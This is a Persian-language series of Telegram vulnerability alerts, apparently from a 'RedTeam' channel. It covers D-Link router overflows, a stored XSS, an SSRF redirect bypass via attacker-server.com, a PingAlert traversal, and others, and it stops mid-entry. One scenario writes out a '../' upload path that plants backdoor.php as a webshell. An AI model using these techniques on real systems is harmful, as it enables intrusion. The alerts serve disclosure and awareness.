🚨 New Vulnerability Alert: CVE-2025-13547

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری | CVE-2025-13547
محصولات تحت تأثیر: مودم‌های D-Link

---

📄 شرح آسیب‌پذیری:

یک آسیب‌پذیری حیاتی از نوع تخریب حافظه (Memory Corruption) در مودم‌های D-Link مدل‌های DIR-822K و DWR-M920 با فریمور نسخه‌های 1.00_20250513164613 و 1.1.50 شناسایی شده است.

این ضعف امنیتی در فایل /boafrm/formDdns و از طریق دستکاری پارامتر submit-url قابل بهره‌برداری است. این حمله می‌تواند از راه دور و بدون نیاز به احراز هویت انجام شود.

نکته مهم: کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده است که ریسک حمله را به شدت افزایش می‌دهد.

⚠️ میزان تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند به مهاجم اجازه اجرای کد از راه دور (RCE) بر روی دستگاه را بدهد. این به معنای در اختیار گرفتن کنترل کامل مودم توسط مهاجم است.

سایر پیامدهای احتمالی شامل موارد زیر است:
- از کار انداختن دستگاه (Denial of Service)
- نشت اطلاعات حساس پیکربندی
- شنود ترافیک شبکه داخلی

🎯 سناریوی حمله:

یک مهاجم در شبکه خارجی، با ارسال یک درخواست وب دستکاری‌شده و مخرب به بخش تنظیمات DDNS مودم (فایل formDdns)، یک مقدار نامعتبر را به پارامتر submit-url ارسال می‌کند. این عمل باعث سرریز بافر و تخریب حافظه شده و به مهاجم اجازه می‌دهد تا کد دلخواه خود را با سطح دسترسی مدیریتی بر روی دستگاه اجرا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13548

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل و گزارش آسیب‌پذیری | CVE-2025-13548

گزارش خلاصه و حرفه‌ای برای ادمین‌ها و کارشناسان امنیت

---

🐛 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13548 در روترهای D-Link کشف شده است. این ضعف امنیتی در فایل /boafrm/formFirewallAdv که بخشی از پنل مدیریت وب دستگاه است، وجود دارد.

مهاجم می‌تواند با ارسال یک مقدار دستکاری‌شده و طولانی در پارامتر submit-url، باعث سرریز شدن بافر حافظه شده و شرایط را برای اجرای کدهای مخرب فراهم کند. این حمله از راه دور (Remote) قابل اجراست و نیازی به دسترسی فیزیکی به دستگاه ندارد.

محصولات تحت تأثیر:
- D-Link DIR-822K
- D-Link DWR-M920

نسخه‌های آسیب‌پذیر:
- 1.00_20250513164613
- 1.1.50


💥 تأثیر:
تأثیر اصلی این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution - RCE) است. این بدان معناست که یک مهاجم می‌تواند کنترل کامل روتر را در دست بگیرد.

پیامدهای احتمالی عبارتند از:
- شنود و سرقت ترافیک شبکه (مانند رمزهای عبور و اطلاعات بانکی).
- تغییر تنظیمات DNS برای هدایت کاربران به سایت‌های فیشینگ.
- استفاده از روتر به عنوان بخشی از یک شبکه بات‌نت برای حملات DDoS.
- نصب بدافزار دائمی بر روی دستگاه.


🎯 سناریوی حمله:
مهاجم پس از شناسایی یک روتر آسیب‌پذیر که پنل مدیریت آن از طریق اینترنت در دسترس است، یک درخواست HTTP مخرب به آدرس مدیریت دستگاه ارسال می‌کند. در این درخواست، پارامتر submit-url با یک رشته کد بسیار طولانی و دستکاری‌شده پر می‌شود.

وب سرور دستگاه قادر به مدیریت این حجم از داده در بافر اختصاص داده شده نیست و سرریز رخ می‌دهد. این سرریز به مهاجم اجازه می‌دهد تا کدهای مخرب خود را در حافظه دستگاه بازنویسی کرده و با سطح دسترسی مدیر (root) اجرا کند.

نکته مهم: کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده است، که ریسک مورد حمله قرار گرفتن را به شدت افزایش می‌دهد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13549

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13549 در روتر D-Link

---

📄 توضیحات آسیب‌پذیری:

یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13549 در روتر D-Link مدل DIR-822K نسخه 1.00 شناسایی شده است.

این ضعف امنیتی در تابع sub_455524 واقع در فایل /boafrm/formNtp قرار دارد. مهاجم از راه دور می‌تواند با ارسال مقادیر دستکاری‌شده و بیش از حد طولانی به پارامتر submit-url، این آسیب‌پذیری را مورد بهره‌برداری قرار دهد.

نکته حائز اهمیت این است که کد بهره‌برداری (Exploit) این آسیب‌پذیری به صورت عمومی منتشر شده و در دسترس همگان قرار دارد که ریسک حمله را به شدت افزایش می‌دهد.

🎯 تأثیرات:

بهره‌برداری موفقیت‌آمیز از این آسیب‌پذیری می‌تواند منجر به دو پیامد اصلی و خطرناک شود:

۱. اجرای کد از راه دور (Remote Code Execution - RCE): در بدترین حالت، مهاجم می‌تواند کنترل کامل روتر را در دست بگیرد. این به معنای شنود ترافیک شبکه، دسترسی به دستگاه‌های متصل به شبکه داخلی (مانند کامپیوترها و دوربین‌ها) و استفاده از روتر برای حملات بیشتر است.

۲. منع سرویس (Denial of Service - DoS): مهاجم می‌تواند با ارسال درخواست‌های مخرب، باعث از کار افتادن (Crash) کامل روتر و در نتیجه، قطع دسترسی تمامی کاربران متصل به شبکه به اینترنت شود.

🎭 سناریو حمله:

یک مهاجم از راه دور، با اسکن کردن اینترنت، روترهای آسیب‌پذیر D-Link مدل DIR-822K را شناسایی می‌کند.

سپس، یک درخواست وب دستکاری‌شده به پنل مدیریتی روتر (به‌طور خاص به فایل /boafrm/formNtp) ارسال می‌کند. این درخواست حاوی یک مقدار بسیار طولانی و مخرب در پارامتر submit-url است که بلندتر از فضای بافرِ در نظر گرفته شده در برنامه می‌باشد.

در نتیجه، سرریز بافر رخ داده و مهاجم موفق به بازنویسی حافظه و اجرای کدهای دلخواه خود با سطح دسترسی دستگاه می‌شود. در نهایت، مهاجم کنترل کامل روتر را به دست آورده و می‌تواند از آن به عنوان نقطه‌ای برای حملات بعدی یا جاسوسی از شبکه داخلی استفاده نماید.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13550

🟠 Risk Level: HIGH (Score: 8.8)

🚨 گزارش تحلیل آسیب‌پذیری | CVE-2025-13550 🚨

شرح آسیب‌پذیری:
یک آسیب‌پذیری بحرانی از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13550 در دستگاه‌های D-Link شناسایی شده است. این ضعف امنیتی در فایل /boafrm/formVpnConfigSetup و در پردازش پارامتر submit-url قرار دارد.

مهاجم از راه دور می‌تواند با ارسال یک مقدار دستکاری‌شده و طولانی برای این پارامتر، موجب سرریز شدن بافر حافظه شود. کد بهره‌برداری (Exploit) برای این آسیب‌پذیری به صورت عمومی منتشر شده و به طور فعال قابل استفاده است.

دستگاه‌های تحت تأثیر:
▪️ D-Link DIR-822K
▪️ D-Link DWR-M920

نسخه‌های فریم‌ور آسیب‌پذیر:
▪️ 1.00_20250513164613
▪️ 1.1.50

تأثیر:
موفقیت‌آمیز بودن این حمله می‌تواند منجر به اجرای کد از راه دور (Remote Code Execution - RCE) بر روی دستگاه آسیب‌دیده شود. این به معنای آن است که مهاجم کنترل کامل روتر را در دست می‌گیرد و قادر خواهد بود:

▪️ ترافیک شبکه را شنود و دستکاری کند.
▪️ به دستگاه‌های موجود در شبکه داخلی حمله کند.
▪️ بدافزار یا درهای پشتی (Backdoors) برای دسترسی پایدار نصب کند.
▪️ تنظیمات دستگاه (مانند DNS) را برای هدایت کاربران به سایت‌های مخرب تغییر دهد.

در نتیجه، امنیت و حریم خصوصی کل شبکه به خطر می‌افتد.

سناریوی حمله:
۱. مهاجم با اسکن اینترنت، روترهای D-Link آسیب‌پذیر را که از راه دور قابل دسترس هستند، شناسایی می‌کند.

۲. سپس، یک درخواست HTTP مخرب به صفحه /boafrm/formVpnConfigSetup دستگاه ارسال می‌کند.

۳. این درخواست حاوی یک مقدار بسیار طولانی و دستکاری‌شده در پارامتر submit-url است که شامل کد مخرب (Shellcode) می‌باشد.

۴. پردازش این مقدار توسط روتر منجر به سرریز بافر شده و کد مخرب مهاجم با سطح دسترسی مدیریتی (root) بر روی سیستم‌عامل دستگاه اجرا می‌شود. در این لحظه، مهاجم کنترل کامل دستگاه را به دست آورده است.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13551

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13551
گزارش خلاصه و حرفه‌ای برای کانال تلگرام

---

آسیب‌پذیری:
یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) با شناسه CVE-2025-13551 در مودم/روترهای D-Link مدل‌های DIR-822K و DWR-M920 با نسخه‌های فریم‌ور 1.00_20250513164613 و 1.1.50 شناسایی شده است.

این ضعف امنیتی در فایل /boafrm/formWanConfigSetup و به دلیل عدم بررسی صحیح ورودی در پارامتر submit-url وجود دارد. یک مهاجم از راه دور می‌تواند با ارسال یک درخواست دستکاری‌شده، این آسیب‌پذیری را مورد بهره‌برداری قرار دهد.

تأثیر:
موفقیت در بهره‌برداری از این آسیب‌پذیری می‌تواند منجر به اجرای کد از راه دور (Remote Code Execution - RCE) با بالاترین سطح دسترسی (root) بر روی دستگاه آسیب‌دیده شود.

این امر به مهاجم اجازه می‌دهد تا کنترل کامل دستگاه را به دست گرفته، ترافیک شبکه را شنود کند، اطلاعات کاربران را به سرقت ببرد، دستگاه را به بخشی از یک بات‌نت (Botnet) تبدیل کرده و از آن به عنوان نقطه‌ای برای حمله به سایر دستگاه‌های موجود در شبکه داخلی استفاده نماید. در سناریوهای ساده‌تر، حمله می‌تواند منجر به از کار افتادن کامل دستگاه و ایجاد اختلال در سرویس (Denial of Service) شود.

سناریو:
یک مهاجم با اسکن اینترنت، دستگاه‌های آسیب‌پذیر را که پنل مدیریت آن‌ها از طریق اینترنت در دسترس است، شناسایی می‌کند. سپس، با ارسال یک درخواست HTTP مخرب به فایل /boafrm/formWanConfigSetup که حاوی یک مقدار بسیار طولانی و دستکاری‌شده برای پارامتر submit-url است، باعث سرریز شدن بافر در حافظه دستگاه می‌شود.

این سرریز به مهاجم اجازه می‌دهد تا کد دلخواه خود را در حافظه دستگاه تزریق و اجرا کند. با توجه به اینکه کد بهره‌برداری (Exploit) از این آسیب‌پذیری به صورت عمومی منتشر شده است، انتظار می‌رود حملات گسترده‌ای با استفاده از آن صورت گیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13553

🟠 Risk Level: HIGH (Score: 8.8)

تحلیل آسیب‌پذیری CVE-2025-13553

---

آسیب‌پذیری:
یک آسیب‌پذیری حیاتی از نوع سرریز بافر (Buffer Overflow) در فریم‌ور نسخه 1.1.50 مودم-روتر D-Link مدل DWR-M920 شناسایی شده است.

این ضعف امنیتی در تابع sub_41C7FC واقع در فایل /boafrm/formPinManageSetup قرار دارد. آسیب‌پذیری از طریق ارسال یک مقدار دستکاری‌شده و بیش از حد طولانی به آرگومان submit-url در این فایل، قابل بهره‌برداری است.

لازم به ذکر است که اکسپلویت این آسیب‌پذیری به صورت عمومی منتشر شده است.

تأثیر:
مهاجم از راه دور (Remote) و بدون نیاز به احراز هویت، می‌تواند با بهره‌برداری از این آسیب‌پذیری، کد دلخواه خود را بر روی دستگاه اجرا کند (Remote Code Execution - RCE).

اجرای موفقیت‌آمیز این حمله می‌تواند منجر به در اختیار گرفتن کامل کنترل دستگاه، سرقت اطلاعات حساس (مانند اطلاعات کاربری و رمزهای عبور)، شنود ترافیک شبکه و یا استفاده از دستگاه به عنوان بخشی از یک شبکه بات‌نت (Botnet) شود. با توجه به عمومی بودن اکسپلویت، ریسک بهره‌برداری از این ضعف بالا ارزیابی می‌شود.

سناریو:
یک مهاجم با اسکن اینترنت، دستگاه‌های آسیب‌پذیر D-Link مدل DWR-M920 که از اینترنت قابل دسترس هستند را شناسایی می‌کند.

سپس، یک درخواست HTTP مخرب به صفحه مدیریت پین دستگاه (/boafrm/formPinManageSetup) ارسال می‌کند.

در این درخواست، پارامتر submit-url با یک رشته بسیار طولانی که حاوی کدهای مخرب (Shellcode) است، پر می‌شود. پردازش این درخواست توسط وب‌سرور دستگاه منجر به سرریز بافر شده و کد مخرب مهاجم با سطح دسترسی بالا بر روی سیستم‌عامل روتر اجرا می‌گردد. در این مرحله، مهاجم کنترل کامل دستگاه را به دست می‌گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-10555

🟠 Risk Level: HIGH (Score: 8.7)

تحلیل آسیب‌پذیری: CVE-2025-10555

گزارش خلاصه آسیب‌پذیری امنیتی شناسایی شده در پلتفرم DELMIA Service Process Engineer

---

شرح آسیب‌پذیری: Vulnerability Description

یک آسیب‌پذیری از نوع Stored Cross-site Scripting (XSS) با شناسه CVE-2025-10555 در بخش مدیریت آیتم‌های سرویس (Service Items Management) در پلتفرم DELMIA Service Process Engineer نسخه R2025x شناسایی شده است.

این ضعف امنیتی به دلیل عدم اعتبارسنجی و پاک‌سازی صحیح داده‌های ورودی کاربر به وجود آمده است. این امر به مهاجم اجازه می‌دهد تا اسکریپت‌های مخرب خود را در پایگاه داده سیستم ذخیره کند. هر زمان که کاربر دیگری داده‌های آلوده را مشاهده کند، این اسکریپت‌ها در نشست مرورگر وی اجرا می‌شوند.

میزان تأثیر: Impact

با توجه به ماهیت Stored XSS که در آن پی‌لود مخرب به صورت دائمی در سرور ذخیره می‌شود، این آسیب‌پذیری دارای سطح خطر بالا ارزیابی می‌شود. پیامدهای اصلی آن عبارتند از:

▪️سرقت نشست کاربری (Session Hijacking): مهاجم می‌تواند کوکی‌های نشست کاربران، از جمله مدیران سیستم، را به سرقت برده و به حساب کاربری آن‌ها دسترسی کامل پیدا کند.

▪️سرقت اطلاعات اعتباری: امکان اجرای اسکریپت‌های فیشینگ برای دزدیدن نام کاربری و رمز عبور کاربران وجود دارد.

▪️تغییر و تخریب محتوای صفحه (Defacement): مهاجم می‌تواند ظاهر و محتوای صفحات را برای سایر کاربران تغییر دهد و اطلاعات نادرست نمایش دهد.

▪️انتشار بدافزار: هدایت کاربران به سایت‌های مخرب و آلوده کردن سیستم آن‌ها از طریق اجرای کدهای مخرب.

سناریوی حمله: Scenario

یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم یک پی‌لود (Payload) مخرب جاوا اسکریپت را در یکی از فیلدهای ورودی بخش Service Items Management وارد می‌کند؛ برای مثال، در قسمت توضیحات یک آیتم سرویس جدید.

۲. سیستم بدون پاک‌سازی صحیح، این کد مخرب را در پایگاه داده خود ذخیره می‌کند.

۳. یک کاربر دیگر با سطح دسترسی بالاتر (مثلاً یک مدیر) برای مشاهده یا ویرایش همان آیتم به صفحه مربوطه مراجعه می‌کند.

۴. با بارگذاری صفحه، سرور داده‌های آلوده را از پایگاه داده فراخوانی کرده و برای مرورگر کاربر ارسال می‌کند. مرورگر کاربر به اسکریپت مخرب اعتماد کرده و آن را در چارچوب نشست کاربر قربانی اجرا می‌کند.

۵. در این لحظه، بسته به نوع پی‌لود، اطلاعات حساس نشست کاربر (مانند Session ID) برای سرور تحت کنترل مهاجم ارسال شده و حساب کاربری قربانی به طور کامل در اختیار مهاجم قرار می‌گیرد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-44018

🟠 Risk Level: HIGH (Score: 8.3)

📄 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-44018 در مکانیزم به‌روزرسانی از راه دور (OTA) روتر GL-Inet GL-AXT1800 با نسخه فریمور 4.7.0 شناسایی شده است. این ضعف امنیتی به مهاجم اجازه می‌دهد تا با استفاده از یک فایل .tar دستکاری‌شده، فریمور دستگاه را به یک نسخه قدیمی‌تر و احتمالاً آسیب‌پذیرتر تنزل دهد (Downgrade).


💥 تأثیر:

تأثیر اصلی این آسیب‌پذیری، بازگرداندن دستگاه به نسخه‌ای از فریمور است که حاوی ضعف‌های امنیتی شناخته‌شده و برطرف‌شده در نسخه‌های جدیدتر است. این امر به مهاجم اجازه می‌دهد تا از آسیب‌پذیری‌های قدیمی که پیش‌تر پچ شده بودند، مجدداً سوءاستفاده کرده و به طور بالقوه کنترل کامل روتر را به دست گیرد، ترافیک شبکه را شنود کند یا حملات دیگری را علیه سایر دستگاه‌های متصل به شبکه ترتیب دهد.


🎭 سناریو:

یک مهاجم با اجرای حمله مرد میانی (Man-in-the-middle) بین روتر و سرورهای به‌روزرسانی GL-Inet قرار می‌گیرد. زمانی که روتر برای دریافت به‌روزرسانی جدید اقدام می‌کند، مهاجم این درخواست را رهگیری کرده و به جای فایل آپدیت اصلی، یک فایل .tar مخرب که حاوی یک نسخه قدیمی و آسیب‌پذیر از فریمور است را به دستگاه ارسال می‌کند. مکانیزم OTA به دلیل وجود این آسیب‌پذیری، فایل جعلی را معتبر شناخته و فرآیند «دانگرید» را اجرا می‌کند. پس از این مرحله، روتر در برابر حملات شناخته‌شده‌ای که در نسخه‌های جدیدتر رفع شده بودند، بی‌دفاع خواهد بود.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-13609

🟠 Risk Level: HIGH (Score: 8.2)

تحلیل آسیب‌پذیری CVE-2025-13609 در Keylime

---

Vulnerability Description:
یک آسیب‌پذیری با شناسه CVE-2025-13609 در ابزار keylime شناسایی شده است. این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با ثبت یک عامل (agent) جدید با استفاده از یک دستگاه TPM (Trusted Platform Module) متفاوت، شناسه منحصر به فرد (UUID) یک عامل معتبر و موجود را جعل کند.

این عمل باعث بازنویسی هویت عامل قانونی در سیستم شده و به مهاجم امکان می‌دهد تا هویت آن را به سرقت برده و خود را به جای آن جا بزند.

---

Impact:
مهاجم با سوءاستفاده از این آسیب‌پذیری می‌تواند هویت یک سیستم یا عامل مورد اعتماد را در شبکه به طور کامل در اختیار بگیرد. این امر منجر به دور زدن مکانیزم‌های تأیید هویت و کنترل دسترسی (Authentication and Access Control) می‌شود.

در نتیجه، مهاجم قادر خواهد بود به منابع حساس دسترسی پیدا کرده، داده‌های محرمانه را مشاهده یا دستکاری کند و یا به عنوان یک نود معتبر در زیرساخت، حملات بیشتری را سازماندهی نماید. این آسیب‌پذیری به طور مستقیم یکپارچگی و اعتماد زیرساخت را تضعیف می‌کند.

---

Scenario:
یک سناریوی حمله محتمل به شرح زیر است:

۱. مهاجم شناسه UUID یک عامل (agent) معتبر و فعال در سیستم keylime را به دست می‌آورد.

۲. مهاجم یک دستگاه جدید (که تحت کنترل خودش است) را با یک ماژول TPM متفاوت آماده‌سازی می‌کند.

۳. سپس، با استفاده از این آسیب‌پذیری، یک درخواست ثبت عامل جدید به سیستم ارسال می‌کند، اما در این درخواست، از UUID متعلق به عامل معتبر (قربانی) استفاده می‌نماید.

۴. سیستم keylime بدون اعتبارسنجی کافی، هویت عامل قانونی را با اطلاعات عامل جدیدِ مهاجم بازنویسی می‌کند.

۵. از این پس، مهاجم به عنوان عامل معتبر در شبکه شناخته شده و می‌تواند تمام بررسی‌های امنیتی مبتنی بر هویت آن عامل را با موفقیت پشت سر بگذارد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-54347

🔴 Risk Level: CRITICAL (Score: 9.9)

تحلیل آسیب‌پذیری CVE-2025-54347

📝 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری از نوع Directory Traversal (پیمایش دایرکتوری) در سرویس‌دهنده برنامه (Application Server) محصول Desktop Alert PingAlert شناسایی شده است. نسخه‌های تحت تأثیر این آسیب‌پذیری از 6.1.0.11 تا 6.1.1.2 می‌باشند.

این نقص امنیتی به یک مهاجم اجازه می‌دهد تا با دستکاری مسیر فایل‌ها، از دایرکتوری محدود شده وب‌سرور خارج شده و تحت شرایط خاصی، فایل‌های دلخواه خود را در مکان‌های غیرمجاز بر روی سیستم قربانی بنویسد. مشکل اصلی از عدم اعتبارسنجی و پاکسازی صحیح ورودی‌های مربوط به مسیر فایل‌ها ناشی می‌شود.


💣 تأثیرات و پیامدها:
بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای بسیار خطرناکی شود. از آنجایی که مهاجم قابلیت نوشتن فایل دلخواه (Arbitrary File Write) را بر روی سرور پیدا می‌کند، سناریوهای زیر محتمل است:

- اجرای کد از راه دور (RCE): مهاجم می‌تواند یک وب‌شل (Webshell) یا اسکریپت مخرب دیگر را در یک دایرکتوری قابل اجرا بر روی وب‌سرور آپلود کرده و از طریق آن، دستورات دلخواه خود را بر روی سیستم قربانی اجرا کند و کنترل کامل سرور را به دست گیرد.

- از کار انداختن سرویس (DoS): با بازنویسی یا تخریب فایل‌های حیاتی سیستم‌عامل یا فایل‌های پیکربندی برنامه، مهاجم می‌تواند باعث اختلال در عملکرد سرویس و از دسترس خارج شدن آن شود.

- کاشت بدافزار: مهاجم می‌تواند انواع بدافزار، باج‌افزار یا ابزارهای جاسوسی را بر روی سیستم قربانی نصب کند.


🎭 سناریوی حمله:
یک مهاجم غیرمجاز (بدون نیاز به احراز هویت) یک درخواست HTTP دستکاری‌شده به سرور آسیب‌پذیر ارسال می‌کند. این درخواست حاوی یک فایل (برای مثال، یک وب‌شل با پسوند .php یا .aspx) و یک مسیر مقصد است که با استفاده از توالی‌هایی مانند ../ دستکاری شده است.

برای مثال، مهاجم تلاش می‌کند فایلی به نام backdoor.php را در مسیر زیر آپلود کند:
../../../../var/www/html/backdoor.php

اپلیکیشن آسیب‌پذیر، به دلیل عدم فیلتر کردن توالی ../، فریب خورده و فایل مخرب را خارج از پوشه آپلود پیش‌فرض و در ریشه وب‌سرور (/var/www/html/) ذخیره می‌کند. پس از آن، مهاجم به سادگی با مراجعه به آدرس https://[target-domain]/backdoor.php می‌تواند به وب‌شل خود دسترسی یافته و دستورات مورد نظر را بر روی سرور اجرا کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-62155

🟠 Risk Level: HIGH (Score: 8.5)

تحلیل آسیب‌پذیری | CVE-2025-62155
دور زدن وصله امنیتی و اجرای SSRF در پلتفرم New API

---

🧾 شرح آسیب‌پذیری:

آسیب‌پذیری جدیدی در پلتفرم New API، که یک درگاه برای مدل‌های زبان بزرگ (LLM) و سیستم مدیریت دارایی‌های هوش مصنوعی است، شناسایی شده است. این ضعف امنیتی در نسخه‌های پیش از 0.9.6 وجود دارد.

مشکل اصلی این است که یک آسیب‌پذیری جعل درخواست سمت سرور (SSRF) که قبلاً وصله شده بود، دارای یک روش برای دور زدن (Bypass) است. مکانیزم امنیتی پیاده‌سازی‌شده تنها اولین درخواست URL را بررسی می‌کند. مهاجم می‌تواند با استفاده از یک ریدایرکت 302، سرور را وادار به ارسال یک درخواست ثانویه به یک آدرس در شبکه داخلی (Intranet) کند. از آنجایی که این درخواست دوم بررسی نمی‌شود، مکانیزم امنیتی عملاً دور زده می‌شود. این آسیب‌پذیری در نسخه 0.9.6 برطرف شده است.

💥 تاثیرات:

موفقیت در بهره‌برداری از این آسیب‌پذیری به مهاجم اجازه می‌دهد تا حملات SSRF را با موفقیت اجرا کند. این امر می‌تواند منجر به نتایج خطرناکی شود، از جمله:

- دسترسی به منابع و سرویس‌های داخلی شبکه که به صورت عمومی در دسترس نیستند.
- اسکن پورت‌های باز در شبکه داخلی برای شناسایی سایر سرویس‌های آسیب‌پذیر.
- سرقت اطلاعات حساس از سرویس‌های داخلی مانند پایگاه‌های داده، داشبوردهای مدیریتی یا APIهای داخلی.
- تعامل با سرویس‌های داخلی و اجرای دستورات غیرمجاز بر روی آن‌ها.

🚶‍♂️➡️🎯 سناریوی حمله:

یک مهاجم می‌تواند سناریوی زیر را برای بهره‌برداری از این آسیب‌پذیری دنبال کند:

۱. مهاجم یک نقطه پایانی (Endpoint) را در سیستم New API پیدا می‌کند که یک URL به عنوان ورودی دریافت می‌کند.

۲. مهاجم آدرس یک سرور تحت کنترل خود را به عنوان ورودی به سیستم می‌دهد (برای مثال: https://attacker-server.com/redirect).

۳. سرور New API اولین درخواست را به سرور مهاجم ارسال می‌کند. از آنجایی که این یک آدرس خارجی و به ظاهر معتبر است، بررسی امنیتی اولیه با موفقیت انجام می‌شود.

۴. سرور مهاجم با یک پاسخ HTTP 302 Redirect، درخواست را به یک آدرس داخلی در شبکه هدف هدایت می‌کند (برای مثال: https://192.168.1.50/internal-api).

۵. سرور New API به دلیل نقص در وصله امنیتی، آدرس جدید را مجدداً بررسی نمی‌کند و درخواست را به آدرس داخلی مشخص‌شده ارسال می‌کند.

۶. در نتیجه، مهاجم پاسخ دریافتی از سرویس داخلی را مشاهده کرده و به اطلاعات حساس دسترسی پیدا می‌کند یا می‌تواند با آن سرویس تعامل کند.

---

🛡️ توصیه امنیتی:

به تمامی مدیران و کاربران پلتفرم New API اکیداً توصیه می‌شود که در اسرع وقت سیستم خود را به نسخه 0.9.6 یا بالاتر به‌روزرسانی کنند تا از این آسیب‌پذیری در امان بمانند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-65951

🟠 Risk Level: HIGH (Score: 8.7)

تحلیل و گزارش آسیب‌پذیری CVE-2025-65951

---

توضیحات آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-65951 در موتور شرط‌بندی مسابقات اسب‌دوانی Inside Track / Entropy Derby شناسایی شده است. این سیستم از یک مکانیزم رمزنگاری قفل زمانی (Timelock Encryption) مبتنی بر تابع تأخیر قابل تأیید (VDF) استفاده می‌کند. هدف این مکانیزم، ایجاد یک تأخیر زمانی محاسباتی اجباری است تا اپراتور یا برگزارکننده نتواند شرط‌ها را قبل از یک زمان مشخص رمزگشایی کند.

این آسیب‌پذیری در نسخه‌های قبل از کامیت 2d38d2f وجود دارد و به کاربران (شرط‌بندها) اجازه می‌دهد تا کل محاسبات زمان‌بر VDF را از پیش روی سیستم خود انجام داده و خروجی نهایی (vdfOutputHex) را مستقیماً در بلیت شرط رمزنگاری‌شده خود بگنجانند. در نتیجه، مکانیزم تأخیر زمانی به طور کامل دور زده می‌شود.


تأثیرات:

تأثیر اصلی این آسیب‌پذیری، از بین رفتن کامل هدف امنیتی سیستم قفل زمانی است. این نقص به برگزارکننده اجازه می‌دهد تا شرط‌های رمزنگاری‌شده را به جای صرف زمان طولانی برای ارزیابی VDF، با استفاده از یک فرآیند اعتبارسنجی سریع، تقریباً بلافاصله رمزگشایی کند.

این موضوع اصل انصاف و عدم قطعیت در سیستم را به شدت تضعیف می‌کند و به برگزارکننده این پتانسیل را می‌دهد که با اطلاع زودهنگام از شرط‌ها، نتایج را دستکاری کرده یا به هر نحو دیگری از این اطلاعات به نفع خود سوءاستفاده نماید.


سناریوی حمله:

یک سناریوی حمله به شرح زیر قابل تصور است:

۱. یک کاربر قصد دارد شرط خود را روی یک مسابقه ثبت کند.

۲. کلاینت کاربر، به جای ارسال یک شرط رمزنگاری‌شده استاندارد، ابتدا کل فرآیند محاسباتی سنگین و زمان‌بر VDF را به صورت محلی (آفلاین) اجرا می‌کند.

۳. پس از اتمام محاسبات، خروجی نهایی VDF که یک اثبات (Proof) است را به همراه بلیت شرط رمزنگاری‌شده خود برای سرور برگزارکننده ارسال می‌کند.

۴. سرور برگزارکننده، با دریافت این بسته، به جای اجرای فرآیند ارزیابی VDF که برای ایجاد تأخیر طراحی شده، مستقیماً از اثبات ارسالی برای اعتبارسنجی سریع استفاده می‌کند.

۵. در نتیجه، شرط کاربر فوراً رمزگشایی شده و محتوای آن پیش از موعد مقرر (مثلاً قبل از شروع مسابقه) برای برگزارکننده فاش می‌گردد و مکانیزم امنیتی اصلی سیستم بی‌اثر می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-6389

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری | CVE-2025-6389

در ادامه گزارش تحلیل تخصصی آسیب‌پذیری اجرای کد از راه دور در افزونه وردپرسی Sneeit Framework ارائه می‌گردد.

Vulnerability Description:
آسیب‌پذیری با شناسه CVE-2025-6389 یک ضعف امنیتی از نوع اجرای کد از راه دور (Remote Code Execution - RCE) در افزونه Sneeit Framework برای وردپرس می‌باشد. این مشکل تمامی نسخه‌های این افزونه تا نسخه 8.3 (و خود این نسخه) را تحت تأثیر قرار می‌دهد.

